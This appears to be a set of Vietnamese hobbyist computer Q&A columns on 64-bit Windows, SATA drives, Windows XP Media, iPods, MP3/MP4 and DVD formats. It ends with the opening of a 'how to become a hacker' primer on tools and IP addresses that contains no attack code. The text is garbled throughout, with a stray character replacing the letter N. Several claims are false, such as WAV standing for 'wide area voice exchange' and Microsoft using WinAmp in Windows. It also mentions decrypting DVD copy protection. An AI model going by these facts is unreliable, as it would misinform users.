Đáp: Đúng như vậy, trong một máy điện toán ngoài nhu liệu điều hành Windows là chính còn có những nhu liệu vận hành (application software) như: Photoshop, adobe, winzIP, roxia, nero v.v...khi nhu liệu điều hành Windows 64 tung ra thị trường thì các nhu liệu khác còn lại như thí dụ ở trên cũng phải thay đổi cấu trúc lập trình (programs) dựa trên nền tảng binary 64. Tuy nhiên cho đến nay ngoài công ty Microsoft có những lập trình dựa trên hệ 64 như Windows, microsoft office v.v...các nhu liệu khác vẫn chưa tung ra thị trường tương ứng với kỹ thuật binary 64. Chính vì một trong những lý do trên nên Windows Vista chưa đáp ứng được người dùng, tuy nhiên hardware 64 lại được ưa chuộng nhiều vì hardware 64 vẫn dùng được cho các loại nhu liệu cũ dựa trên căn bản binary 32. Ví dụ như Windows XP Professional, Photoshop CS, Office 2003 v.v...Hardware 64, software 32 đến lúc nào đó thì chuyển sang software 64 hoàn toàn bất cứ lúc nào sẽ không gặc bất cứ vấn đề trở ngại gì.

Hỏi: *Sự khác biệt giữa hai loại hard drive SATA và IDE như thến nào ?*

Đáp: Thật sự SATA không mới lạ trong kỹ nghệ network, đại đa số các ổ hard drive dùng trong network đều sử dụng kỹ thuật SATA này. Và hiện nay SATA lại được ứng dụng trong PC tại gia (personal computer) thay thế cho loại IDE (Integrate Drive Electronics) dĩ nhiên ổ hard drive SATA đều phải dùng loại cắm đặc biệt và chỉ có motherboad sau này mới có những chỗ cắm dành riêng cho loại SATA. So sánh sự làm việc giữa hai loại ổ hard drive IDE và SATA có những nhận định sau: SATA có tốc độ làm việc giữa motherboard và hard

drive là 1.5 Giga Bits trong vòng 1 giây, trong khi đó IDE tùy thuộc vào tốc độ transfer của mother board, và lên cao nhất là 750M Bits trong 1 giây với motherboard nhanh nhất chỉ chạy bằng phân nửa của SATA, trong khi đó SATA đang được cải tiến và có thể chạy nhanh lên đến 3.0 Giga bits trong vòng một giây và nhanh hơn nữa. So sánh sự khác biệt về tốc độ cũng có thể đoán trong một thời gian ngắn tới IDE sẽ không còn sử dụng và được thay thế bằng ổ hard drive SATA. Trong khi đó khi SATA không đòi hỏi người sử dụng điện toán phải có kiến thức thay đổi cấu trúc ổ hard drive theo thứ tự như loại IDE. ả ếu sử dụng IDE phải biết thay đổi jumper (vị trí jumper này ở phía sau ổ hard drive) ở vào vị trí master, hay slave, hay single CS Cable select. ả ếu trong máy có hai ổ hard drive IDE, bắt buộc một ổ hard drive jumper phải nằm trong vị trí master và ổ hard drive còn lại nằm trong vị trí slave. ả ếu cả hai ổ IDE jumper đều cùng nằm trong slave hoặc cùng nằm trong master thì Windows sẽ không bao giờ hiện lên màn hình vì nhu liệu điều hành không phân biệt được ổ hard drive nào là chính để cài đặt Windows. Trong khi đó SATA không đòi hỏi hard drive phải là master hoặc slave hoặc cable select, cài Windows vào ổ hard drive SATA nào cũng được.

Mong quý vị độc giả điện toán đón đọc trong bài điện toán kỳ tới cũng liên quan tới các kiến thức căn bản về hardware, software. Các kiến thức căn bản này sẽ giúp phần nào trong sự chọn lựa mua sắm một máy điện toán trong tương lai cho thích hợp. Ban khoa học thường thức

Tiếp theo bài viết ở trên các cấu trúc của một máy điện toán đều thay đổi cho phù hợp với nhu cầu của người tiêu thụ trong lãnh vực điện toán liên quan trực tiếp đến sinh hoạt hằng ngày cũng như các lãnh vực khác liên quan tới sự thay đổi cấu trúc vận hành cả hai lãnh vực hardware và software.

Cải thiện về lãnh vực internet: Vào internet qua hệ thống điện thoại hầu như không còn nhắc đến vì có quá nhiều trở ngại như:

- Qua đường giây điện thoại tốc độ vào internet để đọc và download quá chậm.
- Khi vào internet, hệ thống điện thoại trong nhà sẽ không sử dụng được.
- Chi phí định kỳ hàng tháng so sánh giữa dial internet và DSL internet giống nhau.

Với các lý do cạnh tranh trên, nên hệ thống internet điện thoại (hay còn gọi là Dial Internet) hoàn toàn được thay thế bằng hệ thống dây cáp (cable) hoặc DSL. Với kỹ thuật internet được cải thiện và phát triển không ngừng, hệ thống internet tại gia được nối qua internet bằng dây cáp và DSL có thể làm nhiều chức năng giống như là một TV như xem phim, tin tức, xem video, nghe nhạc, hoặc có thể thâu, chuyển, ghi chép hình ảnh, âm nhạc vào trong dĩa CD hoặc DVD v.v...tất cả các công việc đó chỉ cần Windows XP Media là đủ. Các máy điện toán mới hiện nay đều trang bị Windows Media và bên cạnh đó có thêm bộ phận computer remote control. Cấu trúc remote control này cũng giống như remote control cho TV, có thể thay đổi channel (băng tầng), âm thanh (volume), DVD player, hoặc chọn bài nhạc trong CD. Tất cả đều qua một hệ thống computer và điều chỉnh qua computer remote control. Một trong những tiêu chuẩn đầu tiên phải có hệ thống DSL hoặc Cable mới sử dụng được hết chức năng của Windows XP media và hệ thống computer remote control.

Cải tiến về hardware và software:

Cấu trúc trên motherboard cũng thay đổi hoàn toàn, một trong những điều đầu tiên là ổ floppy đã được thay thế bằng ổ flash media reader (ổ flash media hình dáng và kích thước giống như ổ floppy 3.5 cũ nhưng trên bề mặt có 5 chỗ với những kích thước khác nhau dùng để đọc các loại flash media card). Một vài loại motherboard đặc biệt sau này bắt buộc dùng loại ổ hard drive mới SATA thay vì dùng ổ hard drive IDE (SATA cấu trúc vận chuyển (data transfer) giữa motherboard và hard drive rất nhanh lên tới 1.5Gb/s). Cục biến điện (power supply) cũng phải có công xuất ít nhất là 400w và có đầu cắm đặc biệt 24 pin thay vì những đầu cắm thông thường của một power supply là 20 pins. Video cũng phải được cải thiện ít nhất phải có chỉ số memory là 128M và sau cùng là ổ CD đã được thay thế hoàn toàn bằng ổ DVD player hoặc ổ sao chép DVD (DVD burner). Cấu trúc của nhu liệu điều hành Window

XP Media, rất dễ nhận diện các device vì hệ thống kiểm soát tự động (Remote access control) đã được cải thiện rất nhiều nên hệ thống Windows remote làm việc rất hiệu nghiệm khi sử dụng computer như là một hệ thống TV trong nhà. Dĩ nhiên liên quan đến việc sử dụng hệ thống an ninh bảo vệ máy điện toán chống hacker, spyware, spam, poping up, virus là nhiệm vụ hàng đầu của Windows XP media, đã được cải thiện và sửa đổi rất nhiều.

Hỏi: *Windows XP professional và Windows XP media có sự khác biệt nào không ? Và có những điều kiện nào khi cài Windows XP media như là điều kiện cài Windows XP pr o không ?*

Đáp: Trên căn bản Windows XP home là version được tung ra thị trường đầu tiên, nhưng sau đó Windows XP professional được ưa chuộng hơn và Windows XP media dựa trên cấu trúc căn bản của Windows XP Pro nên nhìn chung về sự làm việc căn bản thì không có sự khác biệt. ẩ hưng nói đến sử dụng máy computer như là chức năng của một máy TV, VCR, hoặc DVD thì Windows XP media sẽ vượt trội hơn cả vì sự tiện nghi của cấu trúc hardware có trang bị hệ thống remote control tinh vi, qua computer remote control này có thể thay đổi âm thanh, băng tầng TV hoặc nhấn nút play của DVD. Sau đó qua Windows XP media dùng recording để lưu trữ tài liệu bằng dạng điện tử (media electronic format), đây là một trong những đặc điểm tiện lợi của Windows XP media trong lãnh vực lưu trữ tài liệu trong lãnh vực truyền thông. Và đó là sự khác biệt nổi bật giữa hai Windows XP Pro và XP Media. Trong khi đó đứng trên khía cạnh kỹ thuật không có gì trở ngại nếu cài đặt Windows Pro hoặc media trong một hệ thống máy điện toán cũ, ít nhất máy có trên 5Gb hard drive, memory 128M và tốc độ CPU là 400Mhz tuy nhiên một điểm nhỏ cần phải lưu ý đó là video card, trong tiến trình cài đặt Windows sẽ có những lời nhắn báo động trên màn hình nếu phát hiện video card có chỉ số memory và hệ số phân giải (resolution) thấp.

Tóm lại khi mua sắm một hệ thống computer mới Windows XP Media đã trở thành căn bản và muốn đạt hết các chức năng của hệ thống mới này, người sử dụng điện toán cũng phải cải thiện trang bị internet qua chương trình DSL hoặc Cable. Dĩ nhiện hệ thống cable được ưa chuộng và nhanh nhất hiện nay, tuy vậy giá thành định kỳ hàng tháng cũng còn cao nếu so với giá thành của DSL.

Mong quý vị độc giả điện toán đón đọc trong bài viết kỳ tới liên quan tới kỹ thuật IPod, MP3 và MP4.

IPod, MP3, MP4

Một trong những loại máy vi tính thu gọn cầm tay được giới trẻ tiêu thụ nhiều nhất trong năm qua đó là máy IPod. Máy IPod thật là dẹp, hình dáng như hình chữ nhật, với kích thước nhỏ gọn nằm trong lòng bàn tay của người sử dụng hoặc có thể bỏ túi trong lúc di chuyển. Một trong những đặc biệt của IPod ngoài sự thiết kế gọn nhẹ rất thời trang về màu sắc, IPod có một sức chứa dữ kiện rất lớn 30G và 60G. Với sức chứa dữ kiện này IPod rất hữu dụng liên quan đến sự lưu trữ âm nhạc và phim. Hai dạng được nói đến nhiều nhất khi sử dụng IPod đó là MP3 và MP4.

Tiểu sử của IPod phát xuất từ ông Ben Knauss đã từng giữ chức vụ Tổng Quản Trị trong công ty PortalPlayer (công ty portalplayer ứng dụng kỹ thuật semiconductor (kỹ thuật chất bán dẫn điện tử), nhu liệu và những con chIP mini IC (intergrate circuit) để sáng chế ra thành một sản phẩm và sản phẩm này chỉ trực thuộc trong lãnh vực âm nhạc và thông tin âm nhạc). Sau đó công ty điện toán Apple hợp tác và đã chuyển hóa một IPod thông dụng với nhiều chức năng tổng hợp, đa dạng trên thị trường điện toán như: có thể chuyển những phim DVD vào trong IPod để xem, lưu trữ bản nhạc trong IPod với dung lượng chứa các bài nhạc này thuộc dạng MP3 rất nhiều và song song đó IPod còn có thêm các chức năng khác như chuyển các phim trong DVD sang dạng MP4 lưu trữ và xem trực tiếp trong IPod hoặc IPod nối vào mạng nhện Itunes trong Internet. Từ mạng nhện Itunes này có thể mang tất cả những thông tin trong ngày như thời tiết, email, địa chỉ, bài vở vào trong IPod v.v...nói chung IPod

trở thành tiện nghi vì sự đa dạng trong sử dụng và với kích thước nhỏ gọn nhưng sức chứa có thể lên tới 60Giga bytes và trong tương lai gần đây sức chứa còn được nâng cao hơn nữa lên đến 80Giga bytes.

Liên quan đến hình ảnh và âm thanh có hai dạng điện số (digital format) rất quan trọng người sử dụng IPod cần phải am tường đó là hai dạng MP3 và MP4.

MP3: Danh từ nguyên thủy viết tắt của Moving Picture EXPerts Group-Audio Layer III. Đây là một loại dạng ghi chép dồn nén (compressed file) từ một dạng âm thanh nguyên thủy wav ký hiệu tắt của dạng WAVE (wide area voice exchange). Kỹ thuật ghi chép dồn nén MP3 với tỷ lệ ép là 10:1 (10M Wav thành 1M MP3 hoặc 3 phút âm nhạc MP3 chiếm khoảng 4Mega bytes). Dĩ nhiên ngay những thời gian ban đầu của 1995, MP3 còn gặp rất nhiều trở ngại về chất lượng âm thanh sau khi bị dồn nén. Mãi cho đến khi Công ty Mricosoft sử dụng WinAmp trong Windows và MP3 bắt đầu lưu ý, phát triển và âm thanh dần được cải thiện và ngày nay MP3 trở thành một trong những format chính để lưu trữ âm thanh trong internet và người sử dụng trong internet cũng download dễ dàng và nhanh chóng.

MP4: ả guyên thủy của MP4 không có liên hệ gì với nguồn gốc danh từ MP3 ở trên, kỹ thuật MP4 được sử dụng trong lãnh vực điện ảnh. Và MP4 phát xuất từ nguồn gốc của Quick time. Quick time là nhu liệu do công ty điện toán Apple phát minh, quick time là sự tổng hợp của các màn hình nhỏ (mutimedia framwork), sự tổng hợp này là tạo nên các hình ảnh thật rõ nét như hình ảnh 3 chiều (3D-3 Dimension). Quick time player có thể hợp tác với nhiều loại video format khác nhau như digital video, media clIPs, sound, text music, animation, và rất nhiều loại dạng phim ảnh video khác nhau. ả hanh chóng trong một thời gian ngắn QuickTime đã chuyển sang một dạng mới MPEG-4 khi lưu trữ được viết tắt thành MP4. Đây là một dạng MP4 được sử dụng trong cả âm thanh số (digital audio) và hình ảnh số (digital video) dưới dạng thu gọn.

Hỏi: *Quicktime player có khác biệt gì với Windows Media Player hay các nhu liệu khác hay không ?*

Đáp: ả gay từ khởi thủy ban đầu, quicktime player đa số được ứng dụng cho hệ thống Macintosh (hay Apple computer) sau đó được phát triển và ứng dụng cho máy điện toán luôn. Các nhu liệu media player (WMP, Power DVD, Real Player...) đa số đều không có sự khác biệt để đọc tất cả các loại format của âm thanh (audio) như WAV, AIFF, MP3 và hình ảnh (video) như TIFT, PICT, JPEG tuy nhiên Quicktime player ít được ứng dụng trong PC, nhưng ngược lại trong IPod, Quicktime player đã trở thành nhu liệu chính và trong nhu liệu này ứng dụng chuyển mã các dạng code thành hình ảnh, sự giải code này danh từ chuyên môn gọi tắt là Codec cho tất cả các dạng như cinepak, sorenson codec, mp3, jpeg, Divx, hoặc Pả G. Quickplayer có thể nói đã trở thành nhu liệu chính trong PC về lãnh vực phim ảnh, trong khi đó Windows media player hoặc real player cũng còn bị trở ngại trong kỹ thuật chuyển mã codec đưa đến tình trạng thấy hình không nghe tiếng nói hoặc nghe tiếng nói nhưng không thấy hình. Muốn giải quyết những bế tắc về kỹ thuật codec này phải cài đặt thêm một vài nhu liệu hỗ trợ như Codec Xvid chẳng hạn thì mọi hình ảnh và âm thanh sẽ hiện lên rõ ràng. Mong quý vị độc giả điện toán đón đọc trong bài viết kỳ tới trong lãnh vực tìm hiểu IPod và các chức năng điều hành giữa IPod và máy điện toán như thế nào, những điều kiện căn bản, những nhu liệu (software) cần thiết trong công việc điều hành IPod từ PC.

Qua bài viết tham khảo và những câu vấn đáp quý độc giả đã có khái niệm và sự tiện lợi của máy cầm tay IPod. Đi sâu vào chi tiết kỹ thuật hầu hết các chức năng của máy IPod đều giống nhau trong vấn đề truyền thông như nghe nhạc, chơi game, xem phim, cập nhật hóa các địa chỉ email, dự báo thời tiết trong ngày v.v...các IPod chỉ khác nhau ở khía cạnh sức chứa của IPod là bao nhiêu Gigabytes. Chính vì sự khác biệt về sức chứa này nên giá thành cũng khác nhau.

IPod được chia làm 3 loại căn bản:

IPod Shuffle: Đây là máy IPod đầu tiên tung ra thị trường với chức năng rất đơn giản cho người sử dụng nghe nhạc đã được lưu trữ trong IPod. Muốn thêm bớt nhạc phải nối với máy điện toán qua dây cable USB, và sau đó dùng máy điện toán để chuyển nhạc hoặc bớt nhạc trong IPod. Dĩ nhiên tất cả các loại nhạc lưu trữ trong IPod đều phải chuyển thành dạng MP3. Hiện nay loại IPod Shuffle này không còn đáp ứng được nhu cầu của người sử dụng vì chức năng quá đơn giản, sức chứa bài nhạc không nhiều và bất tiện lợi khi muốn chọn bài nhạc để nghe vì không biết được tên bài nhạc kế tiếp tên là gì.

IPod ả ano: Đây là sản phẩm kế tiếp trên thị trường điện toán từ công ty Apple. Loại này trong một thời gian ngắn đạt danh hiệu sản phẩm bán nhanh nhất và nhiều nhất trong năm. Một trong những sự khác biệt với IPod Shuffle là có trang bị thêm một màn hình nho nhỏ 1.5 inches, nhìn vào màn hình này có thêm chọn bài nhạc và xa hơn thế nữa có thể lưu trữ hình ảnh, địa chỉ, lịch ngày tháng năm để xem v.v...Tùy thuộc vào sức chứa bao nhiêu Giga bytes của loại IPod này, sức chứa thấp nhất là 2G và nhiều nhất là 8G trung bình 1Giga bytes có thể chứa 250 bài nhạc. Một trong những đặc điểm nhờ vào kỹ thuật thiết kế màn hình 1.5 inches, đáp ứng được nhu cầu của người sử dụng có thể chọn bất cứ bài nhạc nào mà mình thích nghe, hoặc lưu trữ các địa chỉ, điện thoại, thông tin liên lạc cần thiết. Tuy IPod ả ano vẫn còn được ưa chuộng trên thị trường nhưng trong khoảng thời gian tới sẽ được thay thế bằng thế hệ thứ ba gọi là IPod.

IPod: Máy IPod được tung ra trên thị trường điện toán khoảng hơn một năm nay. Khác hẳn với máy IPod Shuffle và ả ano, IPod với hình dáng thu gọn trong lòng bàn tay, có sức chứa từ 30G lên tới 80G. Một trong những bước tiến nhảy vọt về kỹ thuật đó là công ty Apple đã áp dụng IPod giống như là một máy xem phim thu gọn. Với màn hình có kích thước 2.5 inches, người sử dụng có thể xem phim, nghe nhạc, địa chỉ email, điện thoại, dự báo thời tiết trong ngày, chơi game v.v...rất tiện lợi cho người sử dụng khi đi du lịch xa và nguồn điện sử dụng cho IPod được kéo dài trên 24 tiếng. MP3 trong IPod được sử dụng để lưu trữ âm nhạc và MP4 là danh từ chuyên môn sử dụng các phim ảnh đã được dồn nén.

Hỏi: *Làm thế nào để thêm bớt âm nhạc, phim vào trong IPod ?*

Đáp: IPod không khác hơn chỉ là một máy hát hay một máy chiếu phim thu gọn trong khuôn khổ hình dáng và kích thước của lòng bàn tay. Vì có tính cách như là một máy hát nên mọi sự điều hành cho IPod đều phải qua trung gian của máy điện toán. Giữa máy điện toán và IPod nối với nhau qua sợi dây USB cable và hub USB là 2.0. (chỉ số USB này càng cao thì tốc độ chuyển file (transfer rate) càng nhanh.

Ghi Chú: Một vài máy điện toán cũ vẫn còn xài loại USB connector 1.1 sẽ có nhiều trở ngại khi sử dụng IPod vì điều kiện đầu tiên USB hub phải thuộc loại tốc độ 2.0. ả ên muốn sử dụng IPod cần phải gắn thêm một PCI USB 2.0 card vào sẽ không có trở ngại cho IPod. Quay lại sự liên hệ giữa IPod và máy điện toán. Một nhu liệu rất phổ thông đại đa số người sử dụng điện toán đều biết đó là nhu liệu Itunes. Có hai loại Itunes cho máy PC và Itunes cho Mac (hay còn gọi là máy apple). ả hu liệu Itunes với version mới nhất là 7.0. Với nhu liệu điều hành Itunes này nhạc, phim, hình ảnh, âm thanh địa chỉ thêm bớt một cách dễ dàng. Ví dụ như trên Itunes có một Icon tên là Movie. Chỉ cần nhấn vào đây sẽ có một danh sách phim bạn muốn download vào máy, dĩ nhiên các loại phim này đã được chuyển sang dạng format của IPod đó là MP4.

Hỏi: *Ngoài nhu liệu đó ra, ngoài Itune có những nhu liệu khác trong vấn đề hoán chuyển các dạng DVD sang MP4 không ?*

Đáp: Dĩ nhiên là có, danh từ chuyên môn để diễn tả sự hoán chuyển sang dạng MP4 này là converter như một trong những nhu liệu khá nổi tiếng IPod converter. IPod converter chuyên hoán chuyển các DVD sang dạng MP4 và trong khổ resolution thu gọn. Một trong những điều kiện duy nhất là IPod conveter không hoán chuyển trực tiếp từ dĩa DVD, phải dùng một nhu liệu khác để giải mã hoặc phá những blocking code trên mặt dĩa danh từ chuyên

môn gọi là DVD decrypter. Và sau đó vào DVD decrypter để hoán chuyển sang dạng MP4 chuyển sang IPod.

Tóm lại IPod là một trong những bước thiết kế nhảy vọt, đáp ứng được thị hiếu của người sử dụng. Mong độc giả điện toán đón đọc bài viết kỳ tới trong khuôn khổ sự làm việc giữa IPod và các hệ thống home theater như thế nào cũng như một hệ thống wireless điện toán.

DVD/DVD-RW VÀ CÁC KIẾN THỨC TỔNG HỢP CĂN BẢN

Quý vị độc giả đã từng nghe danh từ DVD trong máy điện toán. DVD viết tắt của chữ Digital Video Disc. Trong bài tham khảo kỳ này chúng ta sẽ đào sâu về ổ DVD-R/RW như thế nào với kỹ thuật mới và cũ. ổ goài DVD-R/RW còn nhiều câu hỏi liên quan tới mother board, memory v.v...dĩ nhiên trong thời gian ngắn không giải thích hết những câu hỏi thắc mắc của quý vị. Chúng tôi sẽ cố gắng đi từng bước một, giải thích tường tận, căn bản và vững chắc cho tất cả quý vị độc giả yêu thích điện toán. Vì khi đã hiểu tường tận các bộ phận trong điện toán, qua đến phần tham khảo về mother board, về nhu liệu (software) quý vị sẽ cảm thấy không bị lạc lõng, khô khan và khó hiểu.

Khi nói tới ổ CD-R/RW cũng không quên nói tới ổ DVD-R/RW. ổ hu cầu đòi hỏi sự ra đòi của DVD-R/RW cũng tương tự sự ứng dụng CD-R/RW trong kỹ thuật điện toán. DVD-R/RW bắt đầu phổ biến rộng rãi vì giá thành cho một ổ DVD-R chỉ còn khoảng trên dưới $65 USD đại đa số hiệu Sony và Pioneer được tiêu dùng nhiều nhất hiện nay.

DVD được chia làm 3 loại: DVD player, DVD recorder và DVD rewritable. Ổ DVD-R/RW: DVD-R/RW nguyên từ ngữ là Digital Video Disc-Recordable và Digital Video Disc-Rewriteable. Từ hay được gọi là ổ DVD-R hoặc DVD-RW. Công dụng của ổ DVD-R/RW cũng giống như ổ CD-R/RW đều có thể ghi chép trên mặt dĩa DVD. Có hai loại máy ghi chép khác nhau trên mặt dĩa nên có hai loại ổ khác nhau. Một loại dùng ghi chép cho âm nhạc (audio), nhu liệu v.v...thì ổ DVD-R/RW ngoài ghi chép cho âm nhạc, nhu liệu còn có thể ghi chép hình ảnh (video) như ký hiệu được dùng ghi chép trên mặt tape VHS rất phổ biến trong thập niên 1980.

Ổ DVD-R/RW có thể ghi chép dưới các dạng hình ảnh, cũng như âm thanh khác nhau như: Âm thanh nổi hay âm thanh ba chiều (stereo), âm thanh Dolby Digital hay còn gọi là DTS (âm thanh này giống như trong các rạp hát xinê hay trong hệ thống home movie theater). Và ngoài ra có thể ghi chép các tiêu đề, phụ đề trên màn hình trong khi phim ảnh đang ghi chép. ổ DVD-R/RW đa dạng và thông dụng như vậy nhờ vào hai yếu tố:

1.- Sự tinh vi về software cho phép ghi chép ký hiệu hình ảnh, âm thanh dưới nhiều dạng khác nhau. Đơn giản hơn nữa nhờ vào nhu liệu của DVD-R/RW (nhu liệu DVD thường gọi tắt là DVD softer, còn ổ DVD-R/RW gọi là DVD burner) cho phép người sử dụng có thể trích, cắt, hoán chuyển, đổi, thêm bớt hình ảnh cho phù hợp và chuyển sang ghi chép ký hiệu với chất lượng trưng bày (display quality) thật cao.

2.- Thời gian tính để ứng dụng ổ DVD burner vào trong điện toán đòi hỏi về thời gian thâu hình ảnh trên mặt dĩa và chất lượng trình bày. Một trong những thời điểm phát triển quan trọng trong ngành điện toán:

a). Công ty nhu liệu Microsoft tung ra thị trường Windows XP và sau đó là Window 64

b).Và Intel cho ra con chIP Pentium 4 và cao hơn nữa. Làm vận tốc máy điện toán trong thời gian thật ngắn nhảy vọt từ vận tốc 1Ghz (Giga hz - Mega chu kỳ) hiện giờ vượt qua 3.0Ghz (Gigahz - Giga chu kỳ) và softer càng tinh vi, dễ ứng dụng trong Windows đủ để đáp ứng sự đòi hỏi của người tiêu thụ muốn dùng kỹ thuật ghi chép DVD vào trong điện toán Vista.

Trong nhu cầu này muốn gắn thêm một ổ DVD-R/RW, máy điện toán ít nhất phải đạt đến tốc độ 2.GMz và memory ít nhất 512Mb. Quý vị chỉ nhớ những điều kiện tiêu chuẩn tối thiểu sau:

- Thêm ổ CD-R/RW chỉ cần trên 350Mhz và 128M memory
- Thêm ổ DVD player máy ít nhất 450Mhz và 128Mb memory
- Và thêm ổ DVD-R/RW máy ít nhất là 1.0GHz và 512Mb memory

Dựa theo những điều kiện tiêu chuẩn này khi mua sắm một dàn máy điện toán, quý vị có thể trả lời ngay máy này có thể nâng cấp gắn thêm ổ DVD burner được hay không. Tiêu chuẩn căn bản cho một dàn máy điện toán tốt bao gồm DVD và CD-R/RW, ổ DVD-R/RW còn là bộ phận chọn lựa (option). ả ên trong tương lai nếu đổi ý muốn gắn thêm thì mình biết chắc điều kiện vận tốc và bộ nhớ (memory) cho phép quý vị gắn thêm DVD burner. Cũng giống như ổ CD-R/RW vận tốc của một ổ DVD-R/RW được qui định theo chỉ số X, số X càng cao thì tốc độ thâu (record) hoặc xoá/thâu (rewrite) càng nhanh. Hiện nay trên thị trường tốc độ ghi chép nhanh nhất cho loại DVD là 16X và trung bình giá thành một ổ DVD-R khoảng $65 USD.

Dĩ nhiên khi nói đến ổ DVD-R/RW cũng không quên nói đến dĩa DVD-R.

Dĩa DVD-R/RW: Tương tự như dĩa CD, dĩa DVD-R có những cấu trúc đặc biệt trên mặt dĩa có thể ghi chép các ký hiệu của hình ảnh (video) và âm thanh nổi (stereo), hiện nay trên thị trường có ra hai loại dĩa DVD-R/RW

- Dĩa 4.7G/120 phút dữ kiện, dĩa này chỉ dùng có một mặt, từ chuyên môn hay gọi là DVD-5
- Dĩa 9.4G/210 phút dữ kiện, loại này mới tung ra trên thị trường trong vài tháng gần đây, và dữ kiện được ghi chép cả hai mặt, từ chuyên môn gọi là DVD-10

Thông thường thì các loại DVD-R/RW đều có thể sử dụng loại DVD-5, nhưng khi chuyển qua dùng loại dĩa DVD-10 không phải bất cứ loại máy nào cũng có thể thâu loại này được, những DVD-R/RW với vận tốc 2.4X không dùng DVD-10 được, hoặc một số ổ DVD-R/RW cũ vì đầu laser trong ổ DVD-R/RW và độ dày của dĩa phải tương xứng với nhau có nghĩa là khi đầu laser phát ra ánh sáng, luồng ánh sáng từ trường này phải đọc được hoặc ghi chép được các dữ kiện theo độ dày của dĩa DVD. ả ếu không ghi chép được có nghĩa là đầu laser không đủ mạnh để đọc các dĩa có độ dày đặc biệt như loại dĩa DVD-10.

Dĩ nhiên là khi dùng dĩa DVD-10 quý vị cũng phải lật mặt dĩa để ghi chép như là chúng ta phải quay đầu tape nhạc để thâu. Tuy vậy dĩa DVD-10 và ổ DVD-R/RW cho DVD-10 vẫn còn phức tạp vì mới tung ra thị trường và giá thànhcho một dĩa DVD-10 rất cao. Mong quý vị độc giả điện toán đón đọc vào kỳ tới cũng xoay quanh vấn đề DVD burner và sẽ đi sâu vào chi tiết kỹ thuật về sự tiện lợi của DVD burner như thế nào cho các máy điện toán tại tư gia

CCh: Bổ túc thêm về các dạng dĩa DVD là hiện giờ có dĩa DVD-9 và DVD-18:

DVD-5 - single sided, single layered (4.7 GB total capacity)

DVD-9 - single sided, dual layered (8.5 GB total capacity)

DVD-10 - dual sided, single layered (9.4 GB total capacity)

DVD-18 - dual sided, dual layered (17 GB total capacity)

DVD-9 chứa 8.5 Gb (ít hơn DVD-10 chứa 9.4 Gb) nhưng dĩa DVD-9 chỉ có 1 mặt nhưng chứa 2 lớp (dual layers) nên không cần lật mặt dĩa... dĩa DVD-9 gồm có 2 layers khác màu

DVD-18 chứa 17 GB (2 mặt và mỗi mặt có 2 lớp) và phải lật mặt dĩa như DVD-10 để record hay play. (DVD-18 thì giống như dán 2 dĩa DVD-9 lưng-tựa-lưng - 2x8.5 = 17 Gb)

DVD-10 thì giống như dán 2 dĩa DVD-5 lưng-tựa-lưng (2x4.7 = 9.4 Gb)

NHỮNG HIỂU BIẾT CƠ BẢN NHẤT ĐỂ TRỞ THÀNH HACKER

Tác giả: ***Anhdenday***

ả hiểu bạn ả ewbie có hỏi tôi ‘’Hack là như thế nào ? Làm sao để hack ?’’ ả hưng các bạn đã quên mất một điều là các bạn cần phải có kiến thức một cách tổng quát, hiểu các thuật ngữ mà những người rành về mạng hay sử dụng. Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản, muốn chia sẻ cho tất cả các bạn, nhằm cùng các bạn học hỏi.

Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá người khác. Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dưới bài, tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi, đồng thời cũng tôn trọng chính bản thân các bạn. Trong này tôi cũng có chèn thêm một số cách hack, crack và ví dụ căn bản, các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm, rồi khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết, trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA, và các trang Web khác mà tôi đã từng ghé thăm. Xin cảm ơn những tác giả đã viết những bài ấy. Bây giờ là vấn đề chính.

1.- Ta cần những gì để bắt đầu ?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồi đến các cái khác mạnh hơn đó là Linux hoặc Unix , dưới đây là những cái bạn cần có:

- Một cái OS (có thể là DOS, Window 9X, Linux, Unit….
- Một cái trang Web tốt (HVA chẳng hạn, greenbiggrin.gif greenbiggrin.gif)
- Một bộ trình duyệt mạng tốt (là ả escape, IE, nhưng tốt nhất có lẽ là Gozzila)
- Một công cụ chat tốt (mIRC, Yahoo Mass…..)
- Telnet (hoặc những cái tương tự như nmap…)
- Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phải có một chút kiến thức về lập trình (C, C++, Visual Basic, Pert…..)

2.- Thế nào là một địa chỉ IP ?

Địa chỉ IP được chia thành 4 số giới hạn từ 0-255. Mỗi số được lưu bởi 1 byte -P có kích thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. ả ếu ở lớp A, ta sẽ có thể có 16 triệu địa chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25, chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A là sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: ả ếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. (có IP là 132.25.x.)

IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗi người là duy nhất và nó sẽ đại diện cho chính người đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lý do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.

Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau:

- Bạn lướt qua một trang web, IP của bạn bị ghi lại
- Trên IRC, bất kỳ ai cũng có thể có IP của bạn
- Trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ‘’do not show IP’’ người ta vẫn lấy được nó
- ả ếu bạn kết nối với một ai đó, họ có thế gõ ‘’systat-n’’, và biết được ai đang kết nối đến họ
- ả ếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn

3.- Làm thế nào để biết được địa chỉ IP của mình ?

- Trong Window: Vào Start Run đánh lệnh ‘’winIPcfg’’.

